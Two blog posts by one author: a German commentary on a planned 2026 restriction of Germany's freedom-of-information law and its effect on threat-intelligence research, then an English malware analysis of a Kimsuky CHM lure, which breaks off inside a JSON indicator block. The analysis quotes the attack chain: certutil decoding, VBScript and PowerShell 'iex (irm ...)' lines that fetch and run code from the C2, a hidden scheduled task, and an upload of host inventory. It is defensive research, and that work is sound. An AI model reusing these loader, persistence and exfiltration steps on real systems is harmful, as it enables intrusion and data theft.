Wenn der Staat das Licht ausmacht: Warum die IFG-Novelle die deutsche Threat-Intelligence-Arbeit trifft

by Robin Dost

Ein Kommentar aus der Praxis der Cyber Threat Intelligence

PETITION UNTERSCHREIBEN


This article is written in German, since it concerns German domestic policy and legislation.
If you’d like to read it in English, you can do it here.


Am 2. Juli 2026 hat der Koalitionsausschuss von CDU, CSU und SPD unter Punkt 32 seines Papiers “Ein Programm für Aufschwung und Beschäftigung” beschlossen, das Informationsfreiheitsgesetz (IFG) umzubauen. Verkauft wird das als “Bürokratieabbau”.
Was tatsächlich auf dem Tisch liegt, ist die faktische Abschaffung eines Gesetzes, das seit 2006 jedem Menschen einen voraussetzungslosen Anspruch auf amtliche Informationen gibt, ohne Begründung, ohne Nachweis eines Interesses, unabhängig von Staatsangehörigkeit.

Auf den ersten Blick ist das nicht mein Thema.
Ich mache Cyber Threat Intelligence: Malware-Analyse, Infrastruktur-Attribution, das Nachverfolgen staatlicher und krimineller Akteure.
Kein Bürgerrechts-Aktivismus und noch keinen investigativen Journalismus.
Aber je länger ich über die konkreten Punkte dieses Gesetzesvorhabens nachdenke, desto klarer wird: Das trifft unsere Arbeit direkt.
Und zwar an einer Stelle, an der sie ohnehin schon dünn ist.

Was konkret geplant ist

Bevor ich zur CTI-Perspektive komme, die harten Fakten.
Die Koalition plant im Kern fünf Änderungen:

Erstens: Nachweis eines “berechtigten Interesses”
Bislang muss niemand begründen, warum er eine Anfrage stellt.
Künftig soll man nachweisen, dass man ein “berechtigtes Interesse” hat und die Information “nicht durch andere Regelungen erreichen” kann.
Was ein berechtigtes Interesse ist und wer darüber entscheidet, lässt der Beschluss offen.
Das das ist das Einfallstor: Ein unbestimmter Rechtsbegriff, den die anfragende Behörde selbst auslegt, wird zum Ermessensspielraum für Ablehnungen.

Zweitens: Ausschluss juristischer Personen
Anfragen sollen nur noch “natürliche Personen” stellen dürfen.
Organisationen, von der Deutschen Umwelthilfe über Amnesty International bis FragDenStaat, wären raus.
Und für unsere Branche relevant: eine GmbH, ein eingetragener Verein, ein als Unternehmen firmierendes Research-Outfit ebenfalls. Wer CTI nicht als Privatperson, sondern unter einer Rechtsform betreibt, verliert den Zugang.

Drittens: Staatsangehörigkeitsprüfung
Geprüft wird, ob der Zugang auf “in Deutschland lebende Deutsche und Unionsbürger” beschränkt wird.
Das bedeutet: Mit jeder Anfrage käme eine Staatsbürgerschaftsprüfung.
GreenPeace weist zu Recht darauf hin, dass es eine solche nationalistische Wende beim Informationsrecht nicht einmal in den USA unter Trump gibt, dort kann sich jede Person weltweit auf den Freedom of Information Act berufen, unabhängig von Nationalität und Wohnort.

Viertens: Pauschale Schwärzung von Mitarbeiternamen
Die Namen von Behördenmitarbeitenden, auch von Entscheidungsträgern sollen routinemäßig geschwärzt werden.
Offizielle Begründung: Schutz vor Anfeindungen.
Effekt: Individuelle Verantwortung für amtliche Entscheidungen wird unsichtbar.

Fünftens: Wegfall der Gebührenobergrenze
Die aktuelle Deckelung bei 500 Euro soll fallen.
Gebühren sollen dem “Kostendeckungsprinzip” folgen.
FragDenStaat/netzpolitik beschreiben, dass komplexe Anfragen dann mehrere tausend Euro kosten könnten.
Das ist keine Zugangsbeschränkung per Gesetz, sondern per Preisschild.
Subtiler, aber genauso wirksam.

Die Bundesdatenschutzbeauftragte Louisa Specht-Riemenschneider warnte vor einer “Abschaffung der seit zwanzig Jahren bestehenden Informationsfreiheit”.
Arne Semsrott von FragDenStaat nennt es den “schwersten Angriff auf staatliche Transparenz in der Geschichte der Bundesrepublik“.
Und für mich ist es Zensur mit Verwaltungsvokabular.

Das ist der Kontext.
Jetzt zu uns.

Warum das CTI-Arbeit trifft: vier konkrete Punkte


1. Behördendokumente sind CTI-Primärquellen

In der öffentlichen Threat-Intelligence-Arbeit sind staatliche Dokumente keine netten Zusatzquellen, sondern harte Primärquellen.
BSI-Lageberichte, Abschlussberichte zu konkreten Vorfällen, interne Bewertungen von Warnungen, Kooperationsvereinbarungen zwischen Sicherheitsbehörden. Das ist Material, mit dem man Attribution untermauert, staatliche Einschätzungen gegen eigene Analysen hält und die Entscheidungslogik hinter offiziellen Warnungen versteht.

Zwei Beispiele aus meiner eigenen Recherche zu erfolgreichen IFG-Anfragen zeigen den Wert:

  • Die interne BSI-Akte zur Kaspersky-Warnung 2022:
    Rund 370 Seiten, per IFG befreit, legte offen, dass die Warnung nach § 7 BSIG im direkten Ukraine-Kontext erging und wie der Entscheidungsprozess zwischen BSI und BMI tatsächlich lief. Ein IT-Sicherheitsrechtler bewertete auf Basis dieser Akte, das BSI habe “vom Ergebnis her” gearbeitet, also politisch statt rein technisch begründet.
    Diese Einordnung ist nur möglich, weil die internen Dokumente zugänglich wurden.
    Genau das ist die Art von Metaebene, die seriöse CTI von PR-Nacherzählung unterscheidet.
  • Die freigeklagten FinFisher/Elaman-Verträge des BKA offenbarten, für welche Summen der Staat kommerzielle Spyware beschafft und wie diese Beschaffung strukturiert ist.
    Für jeden, der zu Commercial-Surveillance-Vendors und deren Ökosystem arbeitet, ist das Referenzmaterial.

Fällt das IFG in seiner heutigen Form, fällt der Rechtsweg zu genau diesem Material.
Nicht die Dokumente verschwinden, der Anspruch darauf verschwindet.

2. Wer unter einer Rechtsform arbeitet, verliert den Zugang

Hier wird es für unser Segment besonders unangenehm. CTI-Research findet in Deutschland zunehmend nicht im luftleeren Raum, sondern unter Rechtsformen statt: als GmbH, als UG, als Verein, als Institut mit akademischer Anbindung.
Genau diese Professionalisierung, die man politisch angeblich fördern will (Stichwort StartUpSecure, Gründungsförderung im Sicherheitsbereich), wird beim Informationszugang bestraft: Juristische Personen sollen keine Anfragen mehr stellen dürfen.

Das erzeugt eine absurde Zweiklassenlage.
Der Hobbyist, der abends als Privatperson Malware seziert, dürfte theoretisch noch fragen (sofern er das “berechtigte Interesse” nachweist). Das Research-Unternehmen, das genau dieselbe Arbeit hauptberuflich, methodisch und reproduzierbar macht, ist ausgeschlossen.
Für ein Feld, in dem Seriosität und Nachvollziehbarkeit alles sind, ist das ein Anreiz in die exakt falsche Richtung.

Und dieser Anreiz trifft auf eine Rechtslage, die für unabhängige CTI-Arbeit ohnehin schon von Fallstricken durchzogen ist. Wer als Solo-Researcher Malware seziert, Infrastruktur nachverfolgt und offensive Methoden anwendet, bewegt sich in Deutschland in einem Terrain, das erst durch richterliche Auslegung halbwegs begehbar wurde.
Der § 202c StGB der „Hackerparagraph” stellt schon das Herstellen, Verschaffen und Verbreiten von Werkzeugen unter Strafe, deren Zweck das Ausspähen oder Abfangen von Daten ist.
Der Gesetzeswortlaut selbst trennt dabei nicht sauber zwischen Angriffs- und Verteidigungswerkzeug, obwohl beide Seiten dieselben Tools nutzen.
Erst das Bundesverfassungsgericht hat 2009 die Schärfe genommen: Dual-Use-Software falle nicht unter den objektiven Tatbestand, maßgeblich sei der Zweck, mit dem ein Programm hergestellt wurde, nicht seine bloße Eignung.
Wer solche Programme im Auftrag und mit Einverständnis des Verfügungsberechtigten einsetzt, handle nicht „unbefugt”.
Und genau an der Stelle bricht es für unabhängige Researcher zusammen.

Denn diese Straffreiheit hängt am Einverständnis dessen, dem das untersuchte System gehört.
Der beauftragte Pentester hat es, der unabhängige Analyst, der fremde C2-Infrastruktur eines Angreifers seziert, hat es strukturell nie.
“Verfassungskonforme Auslegung im Einzelfall” ist ohnehin kein Zustand, auf den man seine berufliche Existenz gern gründet.

Vor diesem Hintergrund ist das IFG bemerkenswert: Es war einer der ganz wenigen Kanäle, über die man als unabhängiger Analyst völlig sauber und unstrittig an relevantes Material kam, kein Dual-Use-Problem, keine Grauzone, kein Auslegungsrisiko, sondern ein klarer gesetzlicher Anspruch.
Genau diesen einen rechtssicheren Kanal jetzt zu verengen, während alles andere weiter Grauzone bleibt und die Reform, die das klären soll, seit Jahren nicht kommt, das ist der eigentliche Witz an der Sache.
Man nimmt uns das Werkzeug weg, das nie umstritten war und lässt uns mit denen zurück, die es immer waren.

3. Attributionsarbeit lebt von nachvollziehbarer Verantwortung

Meine Arbeit ist akteurszentriert.
Ich verfolge, wer hinter Infrastruktur und Kampagnen steht und mache Entscheidungslogik sichtbar, das ist der ganze Punkt bei Attribution.
Die pauschale Schwärzung von Mitarbeiternamen zieht dieselbe Verschleierung, die wir bei Bedrohungsakteuren mühsam durchdringen, jetzt über den Staatsapparat selbst.

Man kann über den Schutz einzelner Beschäftigter vor Anfeindungen reden, das ist ein legitimes Anliegen und in konkreten Bedrohungslagen absolut nachvollziehbar. Aber eine pauschale Schwärzung aller Namen, inklusive der Entscheidungsträger, ist etwas anderes: Sie macht unmöglich, nachzuvollziehen, wer welche Warnung, welche Nicht-Warnung, welche Beschaffung verantwortet hat.
Für Attributionsarbeit, deren Kern die Zurechnung von Handlungen zu Akteuren ist, ist eine Verwaltung, die sich selbst deanonymisiert-immun stellt, ein methodisches Ärgernis mit Symbolwirkung.

4. Der Ukraine-Russland-Komplex wird noch dunkler

Ein erheblicher Teil relevanter CTI-Arbeit in Europa dreht sich um staatliche russische Aktivität: Cyberoperationen, Sabotage kritischer Infrastruktur, Desinformation.
Der deutsche Staat sitzt auf einem großen Teil der relevanten Lageeinschätzungen.
Schon heute ist der Zugang dazu schwierig: Anfragen zu Attributions- und russlandnahen Dokumenten werden regelmäßig unter Sicherheitsvorbehalten abgelehnt und die Nachrichtendienste sind über das IFG ohnehin praktisch verschlossen.

Das IFG war bisher wenigstens das Werkzeug, mit dem man an den Rändern dieses Komplexes Licht bekam, bei zivilen Behörden wie dem BSI, bei Prozessdokumenten, bei Governance-Fragen.
Verengt man den Zugang auf “berechtigtes Interesse”, das die Behörde selbst auslegt, dann werden ausgerechnet die sicherheitspolitisch heikelsten Themen die ersten sein, bei denen abgelehnt wird.
Der Bereich, in dem unabhängige Analyse am dringendsten gebraucht wird, wird der am stärksten abgeschottete.

Das eigentliche Problem: unabhängige Analyse braucht Rohdaten

Es gibt ein Muster, das über die einzelnen Punkte hinausgeht.
Gute Threat Intelligence, die Art, an der ich mich versuche, funktioniert nur, wenn sie an Primärmaterial kann und nicht auf offizielle Zusammenfassungen angewiesen ist.
Der ganze Wert unabhängiger Analyse liegt darin, die staatliche Darstellung überprüfen zu können, statt sie nachzuerzählen. Wer nur noch die kuratierte Pressemitteilung bekommt, produziert keine Intelligence, sondern Stenografie.

Die Kaspersky-Akte ist dafür das Musterbeispiel: Die offizielle Version war “technische Sicherheitswarnung”.
Die internen Dokumente zeigten einen politisch getriebenen Prozess.
Beide Darstellungen sind für einen Analysten wichtig, aber die zweite bekommt man nur über Informationsfreiheit.
Nimm das IFG weg und die einzige verbleibende Version ist die offizielle.
Das wirkt für mich nicht wie Bürokratieabbau, sondern eher wie eine Monopolisierung der Deutungshoheit.

Und noch etwas ist bemerkenswert:
Viele der wegweisenden Grundsatzurteile zum Informationszugang wurden von Organisationen erstritten, von genau den juristischen Personen, die künftig ausgeschlossen sein sollen?
Einzelne Privatpersonen haben selten die Ressourcen, eine Ablehnung durch alle Instanzen zu klagen.
Schließt man Organisationen aus, kappt man nicht nur den Anfrageweg, sondern auch den Weg, über den das Recht auf Zugang überhaupt erst durchgesetzt und weiterentwickelt wird.

Was das für uns praktisch bedeutet

Nüchtern betrachtet heißt das Gesetzesvorhaben für CTI-Arbeit in Deutschland:

  • Solange das aktuelle IFG gilt, sollte man die noch offenen Türen nutzen.
    Konkret benannte Dokumente beim BSI, Vorfalls-Abschlussberichte, Kooperationsvereinbarungen, das Zeug, das heute noch herausgegeben wird, sollte jetzt angefragt und archiviert werden. Was einmal befreit und veröffentlicht ist, bleibt zugänglich, egal was das Gesetz später sagt
  • Dokumentation und Weiterverbreitung werden zum Wert an sich.
    Wenn der Zugang enger wird, steigt der Wert dessen, was bereits öffentlich ist.
    Plattformen, die IFG-Dokumente dauerhaft zugänglich halten, werden für die Community wichtiger, nicht unwichtiger

Mein Fazit

Was als “Bürokratieabbau” etikettiert ist, wirkt viel mehr wie ein aufziehen von Mauern,
Und es trifft nicht nur Journalisten und NGOs, wie es die öffentliche Debatte gerade nahelegt.
Sie trifft jeden, der in diesem Land unabhängige, faktenbasierte Analyse staatlichen Handelns betreibt.
(Cyber) Threat Intelligence gehört dazu, auch wenn wir in der Debatte bisher nicht so wirklich vorkommen.

Der Kern unserer Arbeit ist, Dinge sichtbar zu machen, die verborgen bleiben sollen.
Es ist eine bittere Ironie, dass ausgerechnet der Staat, dessen Sicherheitsbehörden auf diese Zuarbeit angewiesen sind, gerade dabei ist, sich selbst dunkler zu stellen.
In Zeiten “einer komplexen Bedrohungslage von innen und von außen”, mit diesen Worten begründet die Koalition ihr Vorhaben ja selbst, ist mehr unabhängige Analyse nötig, nicht weniger.
Und mehr unabhängige Analyse braucht mehr Zugang zu Rohdaten, nicht ein Preisschild und eine Gesinnungsprüfung davor.

Über die Personen, die diesen Vorstoß vorantreiben, spare ich mir jeden Kommentar.
Nur so viel: Es ist ein bemerkenswerter Zufall, dass zum Teil ausgerechnet jene an vorderster Front stehen, deren eigene Affären erst durch das IFG ans Licht kamen.

Wer die staatliche Resilienz wirklich erhöhen will, macht das Licht nicht aus.


Wer die Pläne stoppen will, findet die Petition und den offenen Brief bei FragDenStaat.
Es ist eines der wenigen Male, bei denen ich glaube dass ein Klick messbar etwas bewegt, 2025 hat eine ähnliche Petition mit über 430.000 Unterschriften einen fast identischen Vorstoß bereits einmal abgewehrt.


Referenzen:

https://weact.campact.de/petitions/spd-stoppt-den-frontalangriff-auf-die-informationsfreiheit

https://taz.de/IFG-Reform-auf-Bundesebene/!6192998

https://fragdenstaat.de/artikel/policy/2026/06/informationsfreiheits-fiasko-mit-ansage

https://fragdenstaat.de/artikel/exklusiv/2025/04/ifg-wird-nicht-abgeschafft

https://www.ndr.de/nachrichten/mecklenburg-vorpommern/Debatte-um-Informationsfreiheit-Amthor-spricht-von-Maerchenstunde,ifgamthor100.html%20

https://fragdenstaat.de/artikel/klagen/2022/08/wir-haben-das-bka-verklagt-und-gewonnen

https://fragdenstaat.de/dokumente/182219-ifg-akte-zur-kaspersky-warnung/

Inside Kimsuky’s CHM Tradecraft: Multi-Stage Execution and Selective Payload Delivery

by Robin Dost


Actor tracking: APT43 (Kimsuky) / MB-0010

I can’t sleep right now, because it’s too hot in Germany, so i thought why not finishing an analysis i almost forgot about.
In this analysis i am using Malwarebox Tooling for most of my work.

Everything started with a suspicious CHM sample arriving in MANTIS.
SHA256: 0efbd18c77479b458078521c18bdad84852b71250122a17cb8105c10d3df38d4

Infection overview

The observed chain can be summarized as follows:

Review.chm
  |_ HTML Help ActiveX shortcut
      |_ powershell.exe -WindowStyle Hidden
          |- writes Base64 data to Link.dat
          |- certutil.exe decodes Link.dat → Link.ini
          |_ wscript.exe executes Link.ini as VBScript
              |_ GET bootservice.php?tag=<random>&query=1
                  |- profiles the host
                  |- enumerates processes and directories
                  |- POSTs the results to finalservice.php
                  |_ creates the hidden “Edge Updater” task
                      |_ wscript.exe executes OfficeUpdater_*.ini
                          |_ GET bootservice.php?tag=<random>&query=6
                              |_ cmd.exe
                                  |_ powershell.exe
                                      |_ GET checkservice.php?idx=5&tag=<random>
                                          |- Invoke-Expression(response)
                                          |_ LogAction -ur <C2 base URL>

No executable needs to be written to disk during this chain. The actor instead relies almost entirely on built-in Windows interpreters and COM objects.

A Korean-language decoy

At its core, a CHM file is a container of HTML, CSS, image, JavaScript/VBScript and control files.
Malware often uses it to launch additional processes via hh.exe, HTML Help ActiveX or embedded scripts.


We unpack the container with

7z x Review.chm

Let’s view the content of page_1.html

The CHM displays what appears to be editorial feedback on a Korean document discussing the right to food and the causes of the North Korean food crisis

The visible text comments on the structure of a manuscript, including sections covering:

  • diversion of civilian resources to military spending
  • degradation of agricultural production
  • inequality in food distribution
  • food culture and nutrition
  • references to the International Covenant on Economic, Social and Cultural Rights
  • references to provisions of the North Korean constitution

The document closes by addressing a researcher directly and thanking him for his work.

The decoy is written for a Korean-speaking audience familiar with legal, policy or human-rights material concerning North Korea.
That context may indicate the intended target profile, although the lure alone is not sufficient to identify the actual recipient.

The page title is:

목차를 매길 때

Roughly translated, it refers to arranging or numbering a table of contents.

While the victim reads the decoy, a hidden script constructs an HTML Help shortcut object.

Execution through HTML Help

The malicious HTML creates an object with the following class identifier:

CLSID:52a2aaae-085d-4187-97ea-8c30db990436

It configures the object with the ShortCut command and triggers it programmatically:

document.getElementById('start').innerHTML =
    '<object id="shortcut1" ' +
    'classid="clsid:52a2aaae-085d-4187-97ea-8c30db990436">' +
    '<param name="Command" value="ShortCut">' +
    '<param name="Item1" value="...">' +
    '</object>';

shortcut1.Click();

The command is “”obfuscated”” through string concatenation:

',power' + 'shell'
'-window' + 'style hid' + 'den'

Once reconstructed, it launches PowerShell with a hidden window.

The PowerShell command writes an embedded Base64 blob to:

%USERPROFILE%\Links\Link.dat

It then uses the legitimate Windows certificate utility to decode it:

certutil.exe -f -decode Link.dat Link.ini

Finally, it forces wscript.exe to interpret the resulting .ini file as VBScript:

wscript.exe //b //e:vbscript Link.ini

The .ini extension is therefore camouflage rather than an indication of the files actual format.

The initial VBScript downloader

The decoded VBScript is small:

The script generates a random value between 1 and 10.000 and places it in the tag parameter.
It sends a GET-request to the URL http://acnms.dmdoc.dynv6[.]net/smltm/bootservice.php.
The server response is then passed directly to VBScripts Execute function:

Execute(mx.responseText)

Nothing is validated and the response is not required to be stored as a conventional script file. The server therefore controls the next stage at execution time.

Let’s look at the C2 information

Domain: acnms.dmdoc.dynv6.net
IP: 118.194.249.91

The domain is hosted by a free DynDNS hosting service called “dynv6.com.”
The IP address is provided by ucloud.

When you visit the site, you’ll see the familiar Kimsuky welcome message.

Capturing the reconnaissance stage

During sandbox analysis, the following request returned a 6.338-byte VBScript payload:

GET /smltm/bootservice.php?tag=<random>&query=1

The server advertised the following stack:

Apache/2.4.58 (Win64)
OpenSSL/3.1.3
PHP/8.2.12

Server headers can be changed or spoofed, but the observed response indicates that the C2 was serving the PHP endpoints through an Apache installation on Windows.

The SHA-256 hash of the captured query=1 response was:

21781885f9d6ebc5f9e0f828aacbe3db2aaa1c142bda1495b17e723c9912f826

The returned script performs three primary actions:

System and environment discovery

Persistence through a scheduled task

Exfiltration of the collected inventory

System profiling

The BaseInfo function queries several WMI classes:

Win32_ComputerSystem
Win32_OperatingSystem
Win32_Processor

It collects:

Computer name
Registered owner
Manufacturer
Computer model
System type
Operating system caption
OS version
Build number
Visible memory
Processor description
Current processor clock speed

The resulting report begins with:

++++++++++++ Basic System ++++++++++++

This provides enough information for the operator to identify the system, estimate its age and capabilities, distinguish physical and virtual hardware and determine which follow-on payloads are likely to be compatible.

File and directory discovery

The misleadingly named DownloadDir function enumerates several Windows shell namespaces:

idx = Array(0, 5, 6, 8, 38, 42)

It also explicitly examines the Downloads folder through namespace 40.

The resulting collection covers locations corresponding to:

Desktop
Documents
Favorites
Recent items
Program Files
Program Files (x86)
Downloads

For each location, the malware records direct child directories and filenames.
It does not recursively collect file contents at this stage.

This is still valuable reconnaissance.
Filenames alone can reveal employers, projects, research topics, installed applications, document types and potentially high-value material for later collection.

The output is placed under:

++++++++++++ Specific Folder ++++++++++++

Process discovery

The script performs the following WMI query:

SELECT * FROM Win32_Process

For every running process it records:

Process name
Process ID
Session ID

The report labels this section:

++++++++++++ Process List ++++++++++++

Process enumeration gives the operator visibility into security products, browsers, VPN software, analysis tools and active user applications.

The payload also contains a function named VacQuery, which queries:

root\SecurityCenter2
AntiVirusProduct

It can retrieve antivirus product names, reporting paths, GUIDs and product-state values.

However, the function is not called in the captured version.
The final report is built only from:

raw_d = BaseInfo() & DownloadDir() & ProcList()

VacQuery() may be dead code, a feature used by another variant or an implementation oversight.

Encoding and exfiltration

Before transmission, the collected text is converted to UTF-8 through ADODB.Stream and Base64-encoded with an MSXML DOM element using the bin.base64 data type.

The encoded inventory is then uploaded as a file named:

Info.txt

The destination is:

hxxp://acnms[.]dmdoc[.]dynv6[.]net/smltm/finalservice.php

The request is a multipart form submission with a fixed boundary:

----c2xkanZvaXU4OTA

Its structure is approximately:

POST /smltm/finalservice.php HTTP/1.1
Host: acnms[.]dmdoc[.]dynv6[.]net
Content-Type: multipart/form-data; boundary=----c2xkanZvaXU4OTA

------c2xkanZvaXU4OTA
Content-Disposition: form-data; name="MAX_FILE_SIZE"

1000000
------c2xkanZvaXU4OTA
Content-Disposition: form-data; name="file"; filename="Info.txt"
Content-Type: text/plain

<BASE64-ENCODED SYSTEM INVENTORY>
------c2xkanZvaXU4OTA--

The server returned:

HTTP/1.1 200 OK
Content-Length: 0

A body is not required for the malware to continue.

Establishing persistence

The reconnaissance stage writes another VBScript into shell namespace 32, corresponding to the users Internet cache.

The filename follows this format:

OfficeUpdater_<minute>_<hour>_<day><month>.ini

An example could look like:

OfficeUpdater_7_11_226.ini

Once again, the .ini extension is deceptive.
The file is executable VBScript.

The script then creates a scheduled task named:

Edge Updater

Its properties include:

Author: System
Hidden: True
Enabled: True
StartWhenAvailable: True
Initial trigger: five minutes after creation
Repetition interval: PT60M

PT60M causes the action to repeat every 60 minutes.

The action launches:

wscript.exe //b //e:vbscript <OfficeUpdater path>

The /b flag suppresses alerts and prompts, while /e:vbscript forces the script engine regardless of the .ini extension.

One implementation detail may reduce reliability: the script path is not surrounded by quotes. A path containing spaces could therefore cause execution problems depending on the resolved cache location.

Browser-related registry changes

The script also changes three values under the current user hive:

HKCU\Software\Microsoft\Internet Explorer\Main
    Check_Associations = "no"
    DisableFirstRunCustomize = 1

HKCU\Software\Microsoft\Edge\IEToEdge
    RedirectionMode = 0

These settings suppress parts of Internet Explorers first-run and association behavior and disable IE-to-Edge redirection.

The exact operational reason is not visible in the captured stages. The changes may be intended to reduce prompts, preserve legacy browser behavior or support a later component that depends on Internet Explorer-related functionality.

The persistent loader

Each time the scheduled task runs, the OfficeUpdater script sleeps for a random period between 6,000 and 12,000 milliseconds.

The same delay value is used as the request tag:

randomWait = Int((12000 - 6000 + 1) * Rnd + 6000)

WScript.Sleep randomWait

mx.open "GET", _
    "hxxp://acnms[.]dmdoc[.]dynv6[.]net/smltm/" & _
    "bootservice.php?tag=" & randomWait & "&query=6", _
    False

The returned text is once again passed directly to Execute.

During analysis, query=6 returned a 428 byte VBScript payload.

Its SHA-256 hash is:

962e7a2a0b6ea9926f2198db06aa1d67326a75de7168400f8863fe7a23e51ef8

Pivoting from VBScript to PowerShell

The query=6 response contains a helper that launches commands through WScript.Shell:

Sub ProcessCall(p_cmd)
    Dim WshShell
    Set WshShell = CreateObject("WScript.Shell")
    WshShell.Run p_cmd, 0, False
End Sub

The second argument to Run is zero, hiding the process window.
The third argument is False, meaning the script does not wait for the command to finish.

The constructed command is:

$base_url = 'hxxp://acnms[.]dmdoc[.]dynv6[.]net/smltm'

$rnd_num = [System.Random]::new().Next(1,10001)

$url = [Uri]::UnescapeDataString(
    $base_url + '/checkservice.php?idx=5%26tag=' + $rnd_num
)

iex (irm $url)

LogAction -ur $base_url

The %26 sequence is decoded to &, producing the actual request:

GET /smltm/checkservice.php?idx=5&tag=<random>

The aliases resolve to:

irm -> Invoke-RestMethod
iex -> Invoke-Expression

The server response is therefore executed directly inside the PowerShell process.

The subsequent call:

LogAction -ur $base_url

is significant because LogAction is not a built-in PowerShell function.

The expected response from checkservice.php must define LogAction, after which the launcher calls it with the C2 base URL.
The final component is therefore likely structured as a remotely loaded PowerShell module or function body.

Selective payload delivery

The reconstructed request sequence was replayed during analysis.

The observed responses were:

bootservice.php?query=1
HTTP 200
6,338 bytes

finalservice.php
HTTP 200
0 bytes

bootservice.php?query=6
HTTP 200
428 bytes

checkservice.php?idx=5
HTTP 200
0 bytes

The final endpoint did not return an error, redirect or unavailable status. It returned a valid response with:

HTTP/1.1 200 OK
Content-Length: 0

No Set-Cookie header was observed during the captured sequence.

This matters because the individual stages use different clients:

Microsoft.XMLHTTP under wscript.exe
Microsoft.XMLHTTP under wscript.exe
Invoke-RestMethod under powershell.exe

A browser-style cookie session would not automatically carry across those execution contexts.
If the server tracks victims, it is more likely to use properties such as:

  • source IP address
  • request timing
  • previously uploaded inventory
  • HTTP client or User-Agent
  • tag values
  • campaign state
  • allowlists or denylists
  • geographic or network origin
  • manual operator approval

The current evidence does not identify which condition was responsible.

Additional country-routed sandboxing requests did not recover the expected PowerShell payload (more details on this below).
One route returned a non-empty HTML page containing a generic client-side password-validation example.
It did not define LogAction and was not the expected malicious stage.

That result is not sufficient to claim geographic gating.
It could represent unrelated content, proxy interference, virtual-host behavior or a defensive response.

The defensible conclusion is narrower: checkservice.php implements or was operating as, a selectively responding endpoint.
The reconnaissance and loader stages remained publicly retrievable, while the final operational payload was withheld from the analyzed environment.

Why split the chain this way?

The design creates several advantages for the operator.

First, only a small bootstrap is embedded in the CHM. The actor can replace later stages without rebuilding or redistributing the original lure.

Second, the reconnaissance stage gives the server information about the compromised machine before the final payload is delivered.

Third, the operator can expose low-value scripts to automated analysis while protecting the final capability. Sandboxes may retrieve the system profiler and scheduled-task loader but receive an empty response at the last step.

Finally, direct use of Execute and Invoke-Expression minimizes the number of obvious payload files left on disk.

The separation is therefore operationally meaningful:

query=1 -> qualify and profile the victim
finalservice.php -> receive the host inventory
query=6 -> launch the PowerShell handoff
checkservice.php -> selectively deliver the final capability

A few days after the first analysis

A few days after my initial analysis, I ran the sample through my MANTIS sandbox again and came across a few strange things.

During my first analysis, everything went smoothly, I didn’t need to use any proxy networks or similar tools to perform a successful sandboxing.
However, when I tested it again, some requests were only partially successful.
So I thought, why not just run the sandbox again, but this time try using different proxies?

Out of over 130 different country-specific proxies, only one of my proxy networks produced a result, namely, my default data center fallback proxy, which I had forgotten to remove from the selection.

I’ve confirmed this behavior multiple times and still have no explanation as to why only this one IP was allowed through.

Now for the strange result:

The page returned a password validation form to me.

No idea what this is all about, maybe just a little trolling ^^
But: I was absolutely sure I’d seen this shape before and I remembered where it’s from.
Namely, from this tutorial: https://www.w3schools.com/HOWTO/tryit.asp?filename=tryhow_js_password_val

By the way, there’s something else interesting about the whole site, namely, the sites light green “N” favicon:

I’ve seen this before in other Kimsuky operations, some of which were quite a while ago.
The SHA256 hash of the favicon is 26ba5b01f614a215b948a5700338575412dcff2df972b7696b2c8c3f3b74a723

What I find a bit strange:
WHOIS queries show that Kimsukys current infrastructure is primarily hosted on ucloud, but the favicon matches the one used by the hosting provider navercloudcorp.com.

The good thing about this is that we can use this and Kimsukys welcome message to continue tracking Kimsukys infrastructure:


Within 5 minutes, I found 3 more web servers that very likely belong to Kimsuky and are therefore currently active in their campaign:

IPDomain
51.79.185.184aointerviews.com
176.111.220.168
152.32.138.15

IIM Chain

Here’s the related IIM Chain for this attack
You can view it in the IIM Workbench if you want to inspect it further

Click to View Chain
{
  "iim_version": "1.1",
  "chain_id": "synapticsystems.2026.kimsuky-review-chm-selective-delivery",
  "title": "Kimsuky Review.chm to staged VBScript reconnaissance and selective PowerShell payload delivery",
  "description": "Original malware-analysis chain for a Korean-language Review.chm lure. The CHM uses HTML Help shortcut execution to create and run a VBScript bootstrap, retrieves a query=1 reconnaissance and persistence stage from a DynV6-hosted PHP endpoint, uploads Base64-encoded host inventory to finalservice.php, installs an hourly OfficeUpdater_*.ini loader through the hidden Edge Updater scheduled task and retrieves a query=6 VBScript handoff. That handoff launches hidden PowerShell, requests checkservice.php?idx=5, executes the response in memory and expects it to define LogAction. During controlled replay, checkservice.php returned HTTP 200 with a zero-byte body, so the final PowerShell payload remained withheld.",
  "actor_id": "APT43",
  "observed_at": "2026-06-22T09:56:08Z",
  "confidence": "confirmed",
  "needs_review": true,
  "import_source": "manual-malware-analysis-and-controlled-c2-replay-to-iim",
  "x_attribution": {
    "actor": "Kimsuky",
    "aliases": [
      "APT43",
      "Emerald Sleet",
      "Velvet Chollima"
    ],
    "confidence": "likely",
    "basis": "The chain is treated as Kimsuky-linked in the accompanying Synaptic Systems research. The IIM object preserves that attribution as an external analytical judgement rather than using infrastructure structure alone as attribution evidence.",
    "caveat": "Add the campaign-specific code, sample, infrastructure or provenance overlap used for attribution before publishing the chain as confirmed attribution."
  },
  "x_source": {
    "title": "Inside Kimsuky’s CHM Tradecraft: Multi-Stage Execution and Selective Payload Delivery",
    "publisher": "Synaptic Systems",
    "source_type": "original malware analysis and controlled C2 replay",
    "analysis_date": "2026-06-27",
    "capture_date": "2026-06-22"
  },
  "x_capture": {
    "server_banner": "Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12",
    "requests": [
      {
        "stage": "query1",
        "timestamp": "2026-06-22T09:56:08Z",
        "request": "GET /smltm/bootservice.php?tag=<1-10000>&query=1",
        "status": 200,
        "content_length": 6338,
        "content_type": "text/plain; charset=UTF-8",
        "sha256": "21781885f9d6ebc5f9e0f828aacbe3db2aaa1c142bda1495b17e723c9912f826"
      },
      {
        "stage": "inventory_exfiltration",
        "timestamp": "2026-06-22T09:56:11Z",
        "request": "POST /smltm/finalservice.php",
        "status": 200,
        "content_length": 0,
        "content_type": "text/html; charset=UTF-8"
      },
      {
        "stage": "query6",
        "timestamp": "2026-06-22T09:56:17Z",
        "request": "GET /smltm/bootservice.php?tag=<6000-12000>&query=6",
        "status": 200,
        "content_length": 428,
        "content_type": "text/plain; charset=UTF-8",
        "sha256": "962e7a2a0b6ea9926f2198db06aa1d67326a75de7168400f8863fe7a23e51ef8"
      },
      {
        "stage": "selective_final_delivery",
        "timestamp": "2026-06-22T09:56:26Z",
        "request": "GET /smltm/checkservice.php?idx=5&tag=<1-10000>",
        "status": 200,
        "content_length": 0,
        "content_type": "text/html; charset=UTF-8",
        "sha256": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855"
      }
    ]
  },
  "x_iocs": {
    "domain": [
